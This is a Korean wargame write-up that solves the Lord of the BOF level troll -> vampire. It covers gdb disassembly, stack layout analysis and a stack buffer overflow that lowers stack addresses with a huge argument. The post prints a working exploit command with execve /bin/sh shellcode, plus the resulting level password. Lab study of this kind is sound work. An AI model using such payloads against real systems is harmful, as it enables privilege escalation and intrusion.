[lob] 해커스쿨 troll -> vampire 풀이
- 보안/HackerSchool-lob
- 2020. 1. 18. 18:27
l 해커스쿨 troll 풀이
실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2
** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **
troll 문제의 아이디인 troll 와 password인 aspirin 을 입력하여 troll의 유저로 접속합니다.
[troll@localhost troll]$ ls -l total 16 -rwsr-sr-x 1 vampire vampire 12103 Mar 2 2010 vampire -rw-r--r-- 1 root root 550 Mar 29 2010 vampire.c |
ls -l 명령어를 사용하여 현재 위치( /home/troll ) 아래에 있는 디렉터리의 목록을 확인합니다.
목록들 중 vampire.c파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.
[troll@localhost troll]$ cat vampire.c /* The Lord of the BOF : The Fellowship of the BOF - vampire - check 0xbfff */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // here is changed! if(argv[1][46] == '\xff') { printf("but it's not forever\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
cat 명령어를 사용하여 vampire.c파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.
힌트 코드를 분석해보겠습니다.
1. argc는 2 이상이어야 합니다.
2. argv[1]의 48번째는 \xbf이어야 합니다.
3. argv[1]의 47번째는 \xff가 아니어야 합니다.
앞의 문제들에서 우리가 사용해왔던 메모리 주소는 47번째가 \xff였습니다. 따라서 더 많은 문자열을 넣어 기존에 사용하던 메모리 주소보다 낮은 주소를 사용할 수 있도록 해주어야 합니다.
[troll@localhost troll]$ cp vampire troll [troll@localhost troll]$ ls -l total 28 -rwsr-sr-x 1 troll troll 12103 Jan 15 13:26 troll -rwsr-sr-x 1 vampire vampire 12103 Mar 2 2010 vampire -rw-r--r-- 1 root root 550 Mar 29 2010 vampire.c |
문제를 풀기 전 퍼미션 문제 때문에 vampire 파일을 복사해 troll이라는 이름의 파일을 하나 생성하였습니다.
[troll@localhost troll]$ gdb troll GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disas main Dump of assembler code for function main: 0x8048430 <main> push %ebp 0x8048433 <main+3>: sub $0x28,%esp 0x8048436 <main+6>: cmpl $0x1,0x8(%ebp) 0x804843a <main+10>: jg 0x8048453 <main+35> 0x804843c <main+12>: push $0x8048520 0x8048441 <main+17>: call 0x8048350 <printf> 0x8048446 <main+22>: add $0x4,%esp 0x8048449 <main+25>: push $0x0 0x804844b <main+27>: call 0x8048360 <exit> 0x8048450 <main+32>: add $0x4,%esp 0x8048453 <main+35>: mov 0xc(%ebp),%eax 0x8048456 <main+38>: add $0x4,%eax 0x8048459 <main+41>: mov (%eax),%edx 0x804845b <main+43>: add $0x2f,%edx 0x804845e <main+46>: cmpb $0xbf,(%edx) 0x8048461 <main+49>: je 0x8048480 <main+80> 0x8048463 <main+51>: push $0x804852c 0x8048468 <main+56>: call 0x8048350 <printf> 0x804846d <main+61>: add $0x4,%esp 0x8048470 <main+64>: push $0x0 0x8048472 <main+66>: call 0x8048360 <exit> 0x8048477 <main+71>: add $0x4,%esp 0x804847a <main+74>: lea 0x0(%esi),%esi 0x8048480 <main+80>: mov 0xc(%ebp),%eax 0x8048483 <main+83>: add $0x4,%eax 0x8048486 <main+86>: mov (%eax),%edx 0x8048488 <main+88>: add $0x2e,%edx 0x804848b <main+91>: cmpb $0xff,(%edx) 0x804848e <main+94>: jne 0x80484a7 <main+119> 0x8048490 <main+96>: push $0x8048549 0x8048495 <main+101>: call 0x8048350 <printf> 0x804849a <main+106>: add $0x4,%esp 0x804849d <main+109>: push $0x0 0x804849f <main+111>: call 0x8048360 <exit> 0x80484a4 <main+116>: add $0x4,%esp 0x80484a7 <main+119>: mov 0xc(%ebp),%eax 0x80484aa <main+122>: add $0x4,%eax 0x80484ad <main+125>: mov (%eax),%edx 0x80484af <main+127>: push %edx 0x80484b0 <main+128>: lea 0xffffffd8(%ebp),%eax 0x80484b3 <main+131>: push %eax ---Type to continue, or q to quit--- 0x80484b4 <main+132>: call 0x8048370 <strcpy> 0x80484b9 <main+137>: add $0x8,%esp 0x80484bc <main+140>: lea 0xffffffd8(%ebp),%eax 0x80484bf <main+143>: push %eax 0x80484c0 <main+144>: push $0x804855f 0x80484c5 <main+149>: call 0x8048350 <printf> 0x80484ca <main+154>: add $0x8,%esp 0x80484cd <main+157>: leave 0x80484ce <main+158>: ret 0x80484cf <main+159>: nop End of assembler dump. |
gate 파일을 gdb로 분석해보도록 하겠습니다.
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.
1. 0x8048433 <main+3>: sub $0x28,%esp
0x28을 10진수로 바꾸면 40입니다. 스택에 40byte를 할당하는 것을 의미합니다.
2. 0x80484b4 <main+132>: call 0x8048370 <strcpy>
vampire.c 코드에서 보면 strcpy에는 총 두 개의 인자가 전달됩니다. stack에 push 되는 순서는 argv[1], buffer 순서이기 때문에 두 번째 push 되는 주소인 ebp - [0xffffffd8의 2의 보수]가 buffer의 시작 주소가 됩니다.
11011000 => 00100111 => 00101000 = 8 + 32 = 40
buffer의 시작 지점이 ebp - 40부터인 것을 알 수 있습니다.
메모리 구조를 보면 아래와 같습니다.
스택의 낮은 메모리 주소를 사용하기 위해서 argv[1]에 많은 양의 문자열을 넣어주도록 하겠습니다.
(gdb) b *main+137 Breakpoint 1 at 0x80484b9 (gdb) r `python -c 'print "A"*44+"\xaa\xaa\xaa\xbf"+"\x90"*100+"C"*41+"B"*100000'` Starting program: /home/troll/troll `python -c 'print "A"*44+"\xaa\xaa\xaa\xbf"+"\x90"*100+"C"*41+"B"*100000'` Breakpoint 1, 0x80484b9 in main () (gdb) x/100x $esp 0xbffe73d8: 0xbffe73e0 0xbffe7556 0x41414141 0x41414141 0xbffe73e8: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffe73f8: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffe7408: 0x41414141 0xbfaaaaaa 0x90909090 0x90909090 0xbffe7418: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7428: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7438: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7448: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7458: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffe7468: 0x90909090 0x90909090 0x90909090 0x43434343 0xbffe7478: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffe7488: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffe7498: 0x43434343 0x42424243 0x42424242 0x42424242 0xbffe74a8: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffe74b8: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffe74c8: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffe74d8: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffe74e8: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffe74f8: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffe7508: 0x42424242 0x42424242 0x42424242 0x42424242 |
strcpy 다음에 breakpoint를 걸어주고 실행시켜보았습니다.
1. buffer공간과 sfp공간을 A로 채워주었습니다.
2. \xaa ~ \xbf 공간은 페이로드의 return 부분입니다.
3. \x90*100는 셸 코드의 앞 부분, C는 셸 코드가 들어갈 부분입니다.
4. B는 스택의 낮은 메모리 주소를 사용하기위해 넣은 부분입니다.
C 부분이 셸 코드가 들어갈 위치이기 때문에 페이로드에서 return 부분에 C의 시작 주소가 들어가야 합니다. 즉 0xbffe7434를 return에 넣어줄 것입니다.
페이로드를 구성해보도록 하겠습니다.
buffer + sfp [44byte] + ret[4byte] + \x90*100 + [셸 코드] + B*100000 이런 형태가 나올 것이고, ret과 셸 코드를 채워보면 아래와 같습니다.
| 페이로드
./vampire `python -c 'print "\x90"*44+"\x34\x74\xfe\xbf"+"\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*100000'`
[troll@localhost troll]$ bash2 [troll@localhost troll]$ ./vampire `python -c 'print "\x90"*44+"\x34\x74\xfe\xbf"+"\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*100000'` 4tþ¿1À°1Í€‰Ã‰Á1À°FÍ€1ÀPh//shh/bin‰ãPS‰á‰Â° Í€ bash$ id uid=509(vampire) gid=508(troll) egid=509(vampire) groups=508(troll) bash$ my-pass euid = 509 music world |
bash2를 입력 후 위의 페이로드를 넣었습니다. id 명령어를 입력하게 되면 uid가 vampire라는 것을 확인할 수 있고, my-pass를 입력하면 vampire user의 패스워드를 알 수 있습니다.
l vampire 비밀번호
euid = 509
music world
'보안 > HackerSchool-lob' 카테고리의 다른 글
[lob] 해커스쿨 vampire -> skeleton 풀이 (0) | 2020.01.21 |
---|---|
[lob] 해커스쿨 darkelf -> orge 풀이 (0) | 2020.01.19 |
[lob] 해커스쿨 orge -> troll 풀이 (0) | 2020.01.17 |
[lob] 해커스쿨 wolfman -> darkelf 풀이 (0) | 2020.01.16 |
[lob] 해커스쿨 orc -> wolfman 풀이 (0) | 2020.01.14 |
이 글을 공유하기